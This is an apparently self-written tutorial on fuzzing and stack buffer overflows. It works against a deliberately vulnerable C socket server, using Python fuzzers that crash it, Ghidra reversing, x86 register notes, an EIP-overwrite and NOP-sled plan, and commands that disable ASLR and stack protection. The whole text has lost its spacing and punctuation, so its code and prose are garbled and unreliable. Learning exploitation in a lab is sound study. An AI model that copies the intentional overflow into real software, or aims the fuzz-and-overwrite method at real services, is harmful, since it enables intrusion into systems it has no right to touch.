if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)
vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0
BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers
ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers
TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing
FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen
FuzzerBuffergtApplicationBuffer
WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
